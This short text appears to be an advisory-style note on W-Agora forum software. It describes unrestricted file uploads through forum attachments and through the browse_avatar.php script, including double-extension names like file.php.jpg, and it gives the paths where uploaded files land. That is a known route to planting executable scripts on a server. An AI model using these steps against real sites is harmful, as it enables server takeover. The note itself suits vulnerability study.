file upload :
there's actually 2 ways to upload a file  on w-agora :

1)on the forum you can post some attached file with your message and you can upload any kind of file 
then your file will be located here :
site.com/w-agora/forums/hello/hello/notes/  ( hello = name of the forum ) then you can just browse :site.com/w-agora/forums/
to find out where is your file.

2) http://site.com/w-agora/browse_avatar.php?site=hello ( replace hello , by your forum name. ) 
with this script you can upload any file with a double extension like : file.php.jpg
the file will be located here : 
http://site.com/w-agora/images/avatars/file.php.jpg
